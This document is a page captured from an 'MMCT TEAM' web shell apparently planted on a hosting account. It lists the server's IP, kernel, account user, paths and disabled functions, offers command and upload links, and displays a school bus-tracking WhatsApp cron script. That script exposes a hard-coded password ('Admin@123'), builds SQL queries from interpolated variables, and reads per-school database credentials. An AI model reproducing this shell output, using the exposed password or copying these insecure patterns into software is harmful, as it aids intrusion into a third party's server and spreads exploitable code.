MMCT TEAM
Server IP : 2a02:4780:3:2287:0:3736:a38e:8  /  Your IP : 216.73.216.24
Web Server : LiteSpeed
System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/mda/plugins/../../bus-tracking/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/mda/plugins/../../bus-tracking/send-whatsapp.php
<?php
date_default_timezone_set('Asia/Kolkata');
if(isset($_GET['pwd']))
{
    if(base64_encode("Admin@123")==$_GET['pwd'])
    {
        if(Date('l') != 'Sunday')
        {
            include"helper.php";
            $schoolcode = '';
            if($con)
            {
                $sel_school = mysqli_query($con,"select school_code, school_name, db_user, db_pwd, db from schools where bus_tracking_is_active = 1");
                while($row_school = mysqli_fetch_assoc($sel_school))
                {
                    $school_code = $row_school['school_code'];
                    $school_name = $row_school['school_name'];
                    
                    $main_db_username = $row_school['db_user'];
                    $main_db_password = $row_school['db_pwd'];
                    $main_db_name = $row_school['db'];
                    
                    $main_db_con = mysqli_connect("localhost", $main_db_username, $main_db_password, $main_db_name);
                    if (!$main_db_con) {
                        writeCronLog("Unable to connect database",
                        [
                            'school_code' => $school_code,
                            'school_name' => $school_name,
                        ]);
                        continue;
                    }
                    
                    $whatsapp_api_key = '';
                    $whatsapp_api_url = '';
                    $whatsapp_instance_id = '';
                    $whatsapp_type = '';
                    $whatsapp_credit = 0;
                    $sel_whatsapp_config = mysqli_query($main_db_con, "select * from whatsapp_config");
                    while($row_whatsapp_config = mysqli_fetch_assoc($sel_whatsapp_config)) {
                        $whatsapp_api_key = $row_whatsapp_config['access_token'];
                        $whatsapp_api_url = $row_whatsapp_config['whatsapp_url'];
                        $whatsapp_instance_id = $row_whatsapp_config['instance_id'];
                        $whatsapp_type = $row_whatsapp_config['whatsapp_type'];
                        $whatsapp_credit = $row_whatsapp_config['whatsapp_credit'];
                    }
                    
                    $live_tracking_is_active = 0;
                    $url = 0;
                    $token = 0;
                    $email = 0;
                    $pickup_whatsapp_is_active = 0;
                    $pickup_sent_before_km = 0;
                    $drop_whatsapp_is_active = 0;
                    $drop_sent_before_km = 0;
                    $sel_gps_tracking_system_setting = mysqli_query($main_db_con, "select * from gps_tracking_system_setting");
                    while($row_gps_tracking_system_setting = mysqli_fetch_assoc($sel_gps_tracking_system_setting)) {
                        $live_tracking_is_active = $row_gps_tracking_system_setting['is_active'];
                        $url = $row_gps_tracking_system_setting['url'];
                        $token = $row_gps_tracking_system_setting['token'];
                        $email = $row_gps_tracking_system_setting['email'];
                        $pickup_whatsapp_is_active = $row_gps_tracking_system_setting['pickup_whatsapp_is_active'];
                        $pickup_sent_before_km = $row_gps_tracking_system_setting['pickup_sent_before_km'];
                        $drop_whatsapp_is_active = $row_gps_tracking_system_setting['drop_whatsapp_is_active'];
                        $drop_sent_before_km = $row_gps_tracking_system_setting['drop_sent_before_km'];
                    }
                    
                    if($live_tracking_is_active == 0) {
                        writeCronLog("Live Tracking Disabled in " . $school_code . " school",
                        [
                            'school_code' => $school_code,
                            'school_name' => $school_name,
                        ]);
                        continue;
                    }
                    
                    if($pickup_whatsapp_is_active == 0 && $drop_whatsapp_is_active == 0) {
                        writeCronLog("Live Tracking Enabled but pickup and drop whatsapp are disabled in " . $school_code . " school",
                        [
                            'school_code' => $school_code,
                            'school_name' => $school_name,
                        ]);
                        continue;
                    }
                    
                    $current_date = Date('Y-m-d');
                    $current_date_text = Date('d-m-Y');
                    
                    $sel_holiday = mysqli_query($main_db_con,"select date from holiday where date = '$current_date'");
                    if(mysqli_num_rows($sel_holiday)>0)
                    {
                        writeCronLog("Today is holiday in " . $school_code . " school",
                        [
                            'school_code' => $school_code,
                            'school_name' => $school_name,
                        ]);
                        continue;
                    }
                    
                    $sel_assign_route = mysqli_query($main_db_con, "SELECT `route_pickup_point`.`transport_route_id`, `pickup_point`.`name` as `pickup_point`, `transport_route`.`route_title` FROM `route_pickup_point` JOIN `transport_route` ON `route_pickup_point`.`transport_route_id`=`transport_route`.`id` JOIN `pickup_point` ON `pickup_point`.`id`=`route_pickup_point`.`pickup_point_id` GROUP BY `route_pickup_point`.`transport_route_id`");
                    while($row_assign_route = mysqli_fetch_assoc($sel_assign_route)) {
                        
                        $transport_route_id = $row_assign_route['transport_route_id'];
                        
                        $sel_assign_route_list = mysqli_query($main_db_con, "SELECT `route_pickup_point`.*, `pickup_point`.`name` as `pickup_point`, `transport_route`.`route_title` FROM `route_pickup_point` JOIN `transport_route` ON `route_pickup_point`.`transport_route_id`=`transport_route`.`id` JOIN `pickup_point` ON `pickup_point`.`id`=`route_pickup_point`.`pickup_point_id` WHERE `route_pickup_point`.`transport_route_id` = '$transport_route_id' ORDER BY `order_number` ASC");
                        
                        while($row_assign_route_list = mysqli_fetch_assoc($sel_assign_route_list)) {
                            $pickup_time = $row_assign_route_list['pickup_time'];
                            echo"<pre>"; print_r($row_assign_route); exit;
                        }
                    }
                    
                    $getRuningBus = getCurrentTrackingData($url, $token, $email);
                    echo"<pre>"; print_r($getRuningBus); exit;
                    
                }
            }
            else
            {
                writeCronLog("Main Database Connection failed", []);
                exit;
            }
        }
        else
        {
            writeCronLog("Today is Sunday", []);
            exit;
        }
    }
    else
    {
        writeCronLog("Invalid cron job password", []);
        exit;
    }
}
else
{
    writeCronLog("Plese enter cron job password", []);
    exit;
}

function writeCronLog($message, $data = null)
{
    $logDir = __DIR__ . '/logs';

    if (!is_dir($logDir)) {
        mkdir($logDir, 0755, true);
    }

    $logFile = $logDir . '/cron_log' . date('Y-m-d') . '.txt';

    $logEntry  = "==================================================\n";
    $logEntry .= "Date Time : " . date("Y-m-d H:i:s") . "\n";
    $logEntry .= "Message   : " . $message . "\n";

    if (!empty($data)) {
        $logEntry .= "Data:\n";
        $logEntry .= print_r($data, true) . "\n";
    }

    $logEntry .= "==================================================\n\n";

    file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
}
?>

MMCT - 2023